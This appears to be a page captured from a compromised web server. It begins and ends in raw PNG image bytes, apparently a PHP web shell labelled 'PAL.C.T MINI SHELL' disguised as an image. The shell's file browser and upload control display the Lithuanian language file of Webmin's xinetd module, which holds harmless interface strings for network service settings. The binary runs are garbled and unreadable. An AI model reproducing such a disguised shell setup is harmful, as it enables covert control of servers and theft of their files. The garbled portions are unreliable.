php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/xinetd/lang/
upload
files >> //usr/libexec/webmin/xinetd/lang/lt.auto

index_title=Tinklo paslaugos
index_none=Dar nėra apibrėžtos tinklo paslaugos.
index_name=Paslaugos pavadinimas
index_type=Tipas
index_port=Prievadas / numeris
index_rpc=RPC
index_inet=internetas
index_proto=Protokolas
index_user=Vartotojas
index_server=Serverio programa
index_redirect=Pirmyn į $1 
index_enabled=Įjungtas?
index_internal=Vidinis Xinetd
index_add_inet=Sukurkite naują interneto paslaugą
index_add_rpc=Sukurkite naują RPC paslaugą
index_return=paslaugų sąrašas
index_defaults=Redaguoti numatytuosius
index_defaultsmsg=Spustelėkite šį mygtuką, norėdami redaguoti numatytąsias parinktis, taikomas visoms interneto ir RPC paslaugoms
index_apply=Taikyti pakeitimus
index_applymsg=Spustelėkite šį mygtuką, norėdami pritaikyti dabartinę konfigūraciją, siųsdami SIGUSR2 signalą į vykstantį <tt>xinetd</tt> procesą
index_start=Pradžia Xinetd
index_startmsg=Spustelėkite šį mygtuką, kad paleistumėte „Xinetd“ serverį su dabartine konfigūracija
index_econf=„Xinetd“ konfigūracijos failo $1 nėra. Galbūt jis neįdiegtas, arba jūsų <a href='$2'>modulio konfigūracija</a> yra neteisinga.
index_estart=Komanda paleisti „Xinetd $1 “ neegzistuoja. Galbūt jis neįdiegtas, arba jūsų <a href='$2'>modulio konfigūracija</a> yra neteisinga.
index_noport=Nežinoma
index_enable=Įgalinti pasirinktą
index_disable=Išjungti pasirinktą

serv_create=Sukurti interneto paslaugą
serv_edit=Redaguoti interneto paslaugą
serv_header1=Paslaugų tinklo parinktys
serv_header2=Aptarnavimo programos galimybės
serv_header3=Paslaugų prieigos kontrolė
serv_id=Paslaugos pavadinimas
serv_port=Uosto numeris
serv_port_def=Standartinis
serv_sock=Lizdo tipas
serv_proto=Protokolas
serv_enabled=Paslauga įjungta?
serv_bind=Prisijunkite prie adreso
serv_bind_def=Visi
serv_user=Vykdyti kaip vartotoją
serv_group=Bėk kaip grupė
serv_group_def=Nuo vartotojo
serv_prog=Aptarnavimą tvarko
serv_internal=Vidinis Xinetd
serv_server=Serverio programa
serv_redirect=Pirmyn šeimininkui
serv_rport=uostas
serv_wait=Palaukite, kol baigsite?
serv_inst=Daugiausia vienu metu veikiančių serverių
serv_inst_def=Neribota
serv_nice=Gražus serverio lygis
serv_cps0=Maksimalus ryšys per sekundę
serv_cps_def=Neribota
serv_cps1=Atidėti, jei pasiekiama maksimali vertė
serv_sec=sekundžių
serv_from=Leisti prieigą iš
serv_from_def=Visi šeimininkai
serv_from_sel=Tik išvardyti šeimininkai ..
serv_access=Neleisti patekti iš
serv_access_def=Nėra šeimininkų
serv_access_sel=Tik išvardyti šeimininkai ..
serv_times=Kartais leiskite prieigą
serv_times_def=Bet kada
serv_err=Nepavyko išsaugoti paslaugos
serv_eid=Trūksta arba netinkamas paslaugos pavadinimas
serv_ebind=Trūksta arba netinkamas adresas, prie kurio reikia prisijungti
serv_eport=Trūksta arba netinkamas prievado numeris
serv_einst=Trūksta arba netinkamas lygiagrečių serverių skaičius
serv_euser=Turite įvesti vartotoją
serv_egroup=Turite įvesti grupę
serv_estd=$1 paslaugų standartinio prievado numerio nėra
serv_eproto=Turite pasirinkti šios paslaugos protokolą
serv_eserver=Trūksta arba netinkama serverio programa
serv_erhost=Trūksta arba netinkamas persiuntimo kompiuteris
serv_erport=Trūksta arba netinkamas persiuntimo prievadas
serv_enice=Trūksta arba netinkamas gražus lygis
serv_ecps0=Trūksta arba netinkamas jungčių skaičius per sekundę
serv_ecps1=Trūksta arba netinkamas vėlavimas
serv_etimes=Prieigos laikas turi būti tokio formato: HH: MM-HH: MM

sock_stream=Srautas
sock_dgram=Datagrama
sock_raw=Neapdorotas
sock_seqpacket=Eilės datagrama

proto_=Numatytas
proto_ip=IP (interneto protokolas)
proto_tcp=TCP (perdavimo valdymo protokolas)
proto_udp=UDP (vartotojo duomenų diagramos protokolas)

restart_err=Nepavyko pritaikyti pakeitimų
restart_ekill=Nepavyko nusiųsti USR2 signalo į PID $1 : $2 
restart_epid=Daugiau nebėga

start_err=Nepavyko paleisti xinetd
start_estart=$1 nepavyko : $2 

defs_title=Numatytosios parinktys
defs_header=Numatytosios paslaugų parinktys
defs_log=Xinetd registravimo režimas
defs_log_def=Išjungti registravimą
defs_facility=Prisijunkite prie „syslog“ įrenginio
defs_level=lygiu
defs_file=Prisijunkite prie failo
defs_soft=Minkštojo failo riba
defs_hard=Kietųjų failų limitas
defs_success=Dėl sėkmingo prisijungimo žurnalo
defs_success_pid=Serverio proceso ID
defs_success_host=Nuotolinis kompiuteris
defs_success_userid=Nuotolinis tapatybės vartotojas
defs_success_exit=Serverio išėjimo būsena
defs_success_duration=Sesijos trukmė
defs_failure=Nepavyko prisijungti
defs_failure_host=Nuotolinis kompiuteris
defs_failure_userid=Nuotolinis tapatybės vartotojas
defs_failure_attempt=Bandymas prisijungti
defs_failure_record=Nuotolinė informacija
defs_err=Nepavyko išsaugoti numatytųjų parinkčių
defs_efile=Trūksta arba netinkamas žurnalo failo vardas
defs_esoft=Trūksta arba neteisinga minkšta riba
defs_ehard=Trūksta arba netinkama pagrindinė riba

log_create_serv=Sukurta $2 paslauga $1 
log_modify_serv=Modifikuota $2 paslauga $1 
log_delete_serv=Ištrinta $2 paslauga $1 
log_start=Paleistas „Xinetd“ serveris
log_apply=Taikomi pakeitimai
log_defaults=Pakeistos numatytosios parinktys
log_enable=Įgalintos $1 paslaugos
log_disable=Išjungtos $1 paslaugos
log_enable_l=Įgalintos paslaugos $1 
log_disable_l=Paslaugos neįgaliesiems $1 

config_dirdef=Xinetd konfigūracijos failas
config_dirto=Naujas failas kataloge
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`